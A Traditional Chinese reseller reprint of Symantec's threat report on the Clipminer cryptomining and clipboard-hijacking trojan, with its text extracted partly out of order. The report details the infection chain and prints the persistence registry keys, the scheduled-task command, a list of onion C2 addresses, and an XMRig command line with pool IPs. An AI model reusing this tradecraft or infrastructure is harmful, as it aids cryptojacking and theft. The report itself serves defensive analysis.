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保安資訊有限公司－－賽門鐵克解決方案專家--最新威脅情資分享

幣挖掘和透過剪貼簿劫持進行盜竊中獲得至少 170 萬美元的非法收益。

賽門鐵克跟蹤的惡意軟體為 Trojan.Clipminer，與另一個名為 KryptoCibule 的加密貨幣挖礦木

馬有許多相似之處，表明它可能是該威脅的模仿者或演變者。Clipminer 可能是透過下載隱藏有

木馬的破解或盜版軟體而傳播。該惡意軟體以自解壓的 WinRAR 檔案形式出現在被入侵的電腦

上，該檔案以打包形式的可攜式執行 DLL 檔案來植入和執行下載程式，其檔副檔名為 .CPL (儘

管它不遵循 CPL 格式)。被植入的檔案連接到 Tor 網路以下載 Clipminer 的元件。

Clipminer 有能力利用遭入侵電腦的資源來挖掘加密貨幣 (進行挖礦)。該惡意軟體還會修改

剪貼簿內容，試圖重新引導受感染電腦使用者的加密貨幣交易。在每次剪貼簿更新時，它都會

掃描剪貼簿內容中的錢包位址，識別出至少十幾種不同加密貨幣使用的位址格式。然後用攻擊

者控制的錢包位址替換被識別的位址。對於大多數位址格式，攻擊者提供多個替代錢包位址供

其選擇。然後惡意軟體選擇與要替換的前置字元相同的地址。這樣一來，受害者不太可能會注

意到已被操縱，不疑有他地繼續進行交易。該惡意軟體包括由攻擊者所控制總共 4,375 個獨特的

數位錢包地址。其中 3,677 個地址僅用三種不同格式的比特幣地址。僅調查比特幣和乙太坊錢包

地址，我們發現在撰寫本報告時，它們包含大約 34.3 個比特幣和 129.9 個乙太坊。然而一些資金

也被轉移到似乎是加密貨幣混幣器，也稱為加密貨幣混幣服務。這些服務透過將可能被識別的

加密貨幣資金與其他貨幣混合以掩飾資金的流向，令人難以追溯資金的源頭。如果我們把轉移

到這些服務的資金計算在內，惡意軟體運營商僅從剪貼簿劫持中就可能賺取至少 170 萬美元。

技術分析
感染鏈從一個自解壓 WinRAR 檔（bd48b5da093a37cfa5e3929c19ac06ce711bd581bc49040e68d2ba

0e5610bf71）開始，該檔案删除並執行偽裝控制台（CPL）檔案：

‧1d31bea6a065fa20cf41861d21b7ea39979d40126c800ebc87d07adb41fe03f4 - m5ak8iW.cpl

注入的檔案實際是一個下載程式，其形式為打包的可攜式可執行 DLL，會輸出以下資訊：

‧GetExtensionVersion

用於加密貨幣挖掘 ( 挖礦 ) 和剪貼簿劫持的惡
意軟體。

賽門鐵克的威脅獵手團隊（現為博通 (Broadcom) 軟體事業部的企業資

訊安全部門）發現一個網路犯罪行動，該行動背後的行為者可能從加密貨

威脅獵手團隊威脅獵手團隊

賽門鐵克

2022 年 6 月 2 日發布｜威脅情報

Clipminer (* 剪貼礦工 )：殭屍網路
的營運商從中獲利超過 $170 萬美元

http://www.savetime.com.tw
https://www.welivesecurity.com/2020/09/02/kryptocibule-multitasking-multicurrency-cryptostealer/
https://software.broadcom.com/
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‧HttpExtensionProc

‧TerminateExtension

一旦樣本被執行，它會安排自己重啟，以防中斷。

為此，它使用以下格式為自己重新命名：

‧C:\Windows\Temp\[VARIABLE]

它並建立以下註冊機碼：

‧HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\[VARIABLE]\"[VARIABLE]

"="SHELL32.DLL|ShellExec_RunDLL|REGSVR32.EXE -s \"C:\\Windows\\Temp\\[VARIABLE].\""

（注意檔名最後有多一個點）

檔名範例：

‧C:\Windows\Temp\and.loc

對應註冊碼範例：

‧[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\zyqz

‧"ipbfa"="SHELL32.DLL|ShellExec_RunDLL|REGSVR32.EXE -s \"C:\\Windows\\Temp\\and.loc.\""

一旦成功下載並安裝其有效籌載，這兩項範例都將被删除。

接下來，惡意軟體透過下載 Tor consensus data 啟動嵌入式 Tor 用戶端：

‧http://[HOST_IP_AND_PORT]/tor/status-vote/current/consensus.z

其中，[HOST_IP_AND_PORT] 從範例嵌入的清單中選取。

然後，惡意軟體連接到 Tor 網路。

接下來，它將從受影響的電腦收集詳細資訊，如下例所示：

[PUBLIC_IPv4_ADDRESS_AS_SEEN_ON_INTERNET];[REDACTED];"Intel(R) Core(TM) i5-

10500 CPU @ 3.10GHz";L"\x005CDevice\x005CHarddiskVolume3\x005CWindows\x005CSystem32\

x005Crundll32.exe",L"\x005CDevice\x005CHarddiskVolume3\x005CWindows\x005CSysWOW64\

x005Crundll32.exe",L"C\x003A\x005CUsers\[REDACTED]\x005CAppData\x005CLocal\

x005CTemp\x005CM5aK8iW.cpL";"BC711 NVMe SK hynix 128GB[REDACTED];L"Windows 

Defender":61100;"PCI\[REDACTED]":"Intel(R) UHD Graphics; 630":1920:1200:59;113:[LIST_OF_

RUNNING_PROCESSES];1920:1200:[DESKTOP_SCREENSHOT_AS_BASE64_ENCODED_PNG];

然後，它透過 Tor 向 Onion 服務發送以下 HTTP GET 請求：

‧http://[ONION_SERVICE_AND_PORT]/[BINARY_AS_BASE64_ENCODED]

其中，[BINARY_AS_BASE64_ENCODED] 是一個 blob，似乎包含受感染電腦的詳細資訊，

[ONION_SERVICE_AND_PORT]是以下內容之一：

http://www.savetime.com.tw
https://metrics.torproject.org/glossary.html#consensus
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‧miwia5zo4oxcj7n6:11472			   ‧6lmt3ott62q5pwae:52403

‧nczflpbaow2ta7ua:19155			   ‧re5sb73yb75nbkrm:33033

‧qwhbbp6ye2l25wv6:13927			   ‧2q3n7ycm7vxe73g6:30656

‧w4qjsuu5x5kwvkgu:61921			   ‧gk7jrmr5v3nw3u7m:40090

‧ip2djbz3xidmkmkw:53148			   ‧pvy2atf27dq2d334:2720

‧3wquaem4x5qylhs5:17953			   ‧niddw7jlqyc64xwc:36583

‧ga3zm6uelxuniyq4:60117			   ‧sv2fubnuttyzvfgl:39828

‧kzzuxfvchn5kb73c:21646			   ‧p2dw3umgw6qhrld3:25947

‧wkhipwh6fb5j5hzx:25280			   ‧ml7sphy7w3k2ge6d:12508

‧dvivtswsxdxsqqxa:26960			   ‧tq2srsgevhutzw42:43477

‧xh6pciiw6yeqz3bs:19956			   ‧xup6y7cxgjorezif:51516

‧lbwgagk54ww5c3nj:32284			   ‧rim3qyk3tdbt2iw3:60747

‧krq2qyjhfwh4trww:51499			   ‧obowq55leh2wguwg:35882

‧xph6exfmdo7b4tkw:38607			   ‧rs24qxgkhecjcgdn:51533

‧i3uhj2pyh4cwwbmy:54343			   ‧7udhxrfpz6qwvspy:31399

‧nwogcq7cmhth7e4x:15588			   ‧gwtpcz4n3wtkwhj4:64393

‧5fajnveyn2bd4nm7:5990			   ‧vcammjx7ddus5kfr:64148

‧42xgf6qae5wjbcva:45252

請注意，以上是 v2 版洋蔥服務。在 2021 年，v2 版洋蔥服務已經被淘汰，不再受當前版本

的 Tor 支援。然而，Tor 網路上的許多節點還沒有升級，這意味著這些服務仍然可以使用。

收到的回應大約有 10MB 大小，包含 Clipminer 有效載荷，用於在被攻擊的電腦上進行加密

貨幣挖掘和剪貼簿劫持。

該有效載荷被儲存在以下位置。

‧[EXISTING_TOP_DIRECTORY]\[VARIABLE]\[VARIABLE]\

其中，[EXISTING_TOP_DIRECTORY]是以下目錄之一：

‧C:\Program Files (x86)\

‧C:\Program Files (x86)\Common Files\

‧C:\ProgramData\

‧[USERPROFILE]\AppData\Local\

下面是惡意軟體使用的位置和目錄命名慣例的一個例子。

‧C:\Program Files (x86)\Common Files\DevelTies\JueuiSirvices\

它還用本地機器上以兩個較新建立的目錄複製出兩個檔案，這樣惡意檔案就不容易發現。

然後，它將載入點注入到內部目錄，其中的檔雜湊值、檔案目錄和檔案名稱都有所不同。 

http://www.savetime.com.tw
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‧f49a5a0f2397609a3fb97728b5a997eb77cfa1b529188403fb5e8adaeac1860b rhnoiniye_ni.dll (Packed 

load point)(打包後的載入點）

然後它建立排程工作 (類似於下面例子) 來執行持久化的載入點 (細節因不同的運行而異)。

URI (統一資源識別碼)：\Microsoft\Windows\Active Directory Rights Management Services Client\

Microc040e 

Actions：Exec

Command (命令)：C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Arguments (引數)：/u "C:\Program Files (x86)\Common Files\DevelTies\JueuiSirvices\imsgt_dvepr.dll"

WorkingDirectory (工作目錄)：C:\Program Files (x86)\Common Files\DevelTies\JueuiSirvices

它會建立以下空的註冊機碼（可能作為感染標記）：

‧HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\[VARYING_UUID_FORMAT]

例如：

‧HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{19C316FE-770F-426C-9B63-

F76C34154769}

被載入的有效載荷啟動了一個 v3 洋蔥服務（每次感染的位址都會改變）。我們還觀察到另

一個 v3 洋蔥服務的痕跡（可能用於在被感染的機器上線時向攻擊者發出信號）。

有效載荷會監測鍵盤和滑鼠活動，以確定機器是否在使用。它似乎還監測正在運行的進程

，檢查分析／故障排除工具。

每當惡意軟體確定一台機器沒有被使用（而且至少有一些故障排除工具沒有被使用），它

就會啟動 XMRig 加密貨幣挖礦程式。有一些跡象顯示，攻擊者在過去使用不同的挖礦程式。另

外，當有專用的 GPU（如NVIDIA 顯卡）時，很可能使用不同的挖礦程式。

我們還觀察到一個看起來像 XMRig 的命令列（在注入時使用）。

‧6Y6H --cpu-max-threads-hint=99 -k --pause-on-battery -o 94.75.205.148:443 -o 179.60.146.9:443

該樣本包括一個 IPv4 位址的列表，每次挑選兩個。

在記憶體中還有一個 JSONRPC 請求的例子（加密前）。

{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"app/1 (Windows 

NT 10.0; Win64; x64) libuv/1.41.0 msvc/2019 rnd/dywqmjcdytwkxewrvtqznxgmpmdzyqgulzacxcxx

","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/

ccx","rx/0","rx/wow","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/

wrkz"]}}

此外，該惡意軟體監控剪貼簿上的加密貨幣地址，並將其替換為由攻擊者控制的地址。

http://www.savetime.com.tw
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圖1. Clipminer 監控剪貼簿上的加密貨幣地址，並將其替換為由攻擊者控制的地址。

圖2. Clipminer 獲得對電腦剪貼簿的控制權，並將加密貨幣地址替換為由攻擊者控制的地址。

http://www.savetime.com.tw
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本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2022/06
原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clipminer-bitcoin-mining-hijacking

Clipminer 惡意軟體的樣本在 2021 年 1 月左右開始出現，惡意軟體操作者使用的加密貨幣錢

包在同年 2 月開始出現活動。這僅僅是在 KryptoCibule 被 ESET 研究人員發現並在布落格上發表

後的幾個月。

雖然我們不能確定 Clipminer 和 KryptoCibule 是否是同一個，但設計上的相似性是驚人的。

有可能在 ESET 布落格曝光後，KryptoCibule 行為者可能決定改變現狀，推出 Clipminer。另一種

可能性是不同的威脅者可能從 KryptoCibule 獲得靈感，並以它的形象建立 Clipminer。

然而，無論真相如何，有一點是明確：事實證明，Clipminer 是一個成功的嘗試，為其營運

商賺取大量的資金。

防護方案／緩解措施
有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (IOCs)
如果 IOC 是惡意的，並且我們有該檔案，Symantec Endpoint 產品將檢測並阻止該檔。

‧bd48b5da093a37cfa5e3929c19ac06ce711bd581bc49040e68d2ba0e5610bf71 – Dropper

‧1d31bea6a065fa20cf41861d21b7ea39979d40126c800ebc87d07adb41fe03f4 – Downloader

‧f49a5a0f2397609a3fb97728b5a997eb77cfa1b529188403fb5e8adaeac1860b – Packed load point

‧12e6883046e2c92cbe3b5706ea7f1181b44512f179c7f04e88e75f3f6e392a48 – Downloader

關於作者 

賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其
任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供
分析以幫助客戶應對攻擊。

威脅獵手團隊

http://www.savetime.com.tw
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clipminer-bitcoin-mining-hijacking
https://www.savetime.com.tw/Symantec-Protection-Bulletin-Weekly.asp
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◆ 保安資訊被業界公認為最專業的賽門

鐵克解決方案的專家。

◆ 保安資訊的團隊自 1995 年起就專注於

賽門鐵克資訊安全解決方案的銷售、

規劃與整合、技術支援、教育訓練、

顧問服務，特別是提供企業 IT 專業

人員的技能傳承(Knowledge Transfer) 

的效益上，以及比原廠更快速的技術

支援回應，深獲許多中大型企業與組

織的青睞(特別是有 IT Team 的組織)

，長期合作的意願與滿意度極高。

◆ 與許多系統整合或服務公司不同的是

，我們不吝惜分享我們的專業技能與

經驗給顧客的 IT Team，經由常態性

的教育訓練、精簡的快速手冊、標準 

SOP 文件的提供，以及基於比原廠更

孰悉顧客的使用環境與現況的快速回

應的品質，在業界建立扎實的口碑。

◆ 保安資訊一直專注於賽門鐵克領先業

界的資訊系統基礎架構上的安全性與

可用性的解決方案。進而累積了許多

與基礎架構整合的成功經驗，讓導入 

Symantec 解決方方案的成效非常卓越

。我們的顧客都能免除 Try & Error 的

時間浪費及不確定的投入或自行摸索

的運作風險。

◆  關於我們：

保安資訊有限公司 
http://www.savetime.com.tw
0800-381500、0936-285588

關於保安資訊：
從協助顧客簡單使用賽門鐵克方案開始，到滿足

顧客需求更超越顧客期望的價值。

更多資訊 請造訪我們的網站  http://www.SaveTime.com.tw
                                                     (好記：幫您節省時間.的公司.在台灣)

http://www.savetime.com.tw
http://www.savetime.com.tw
http://www.SaveTime.com.tw

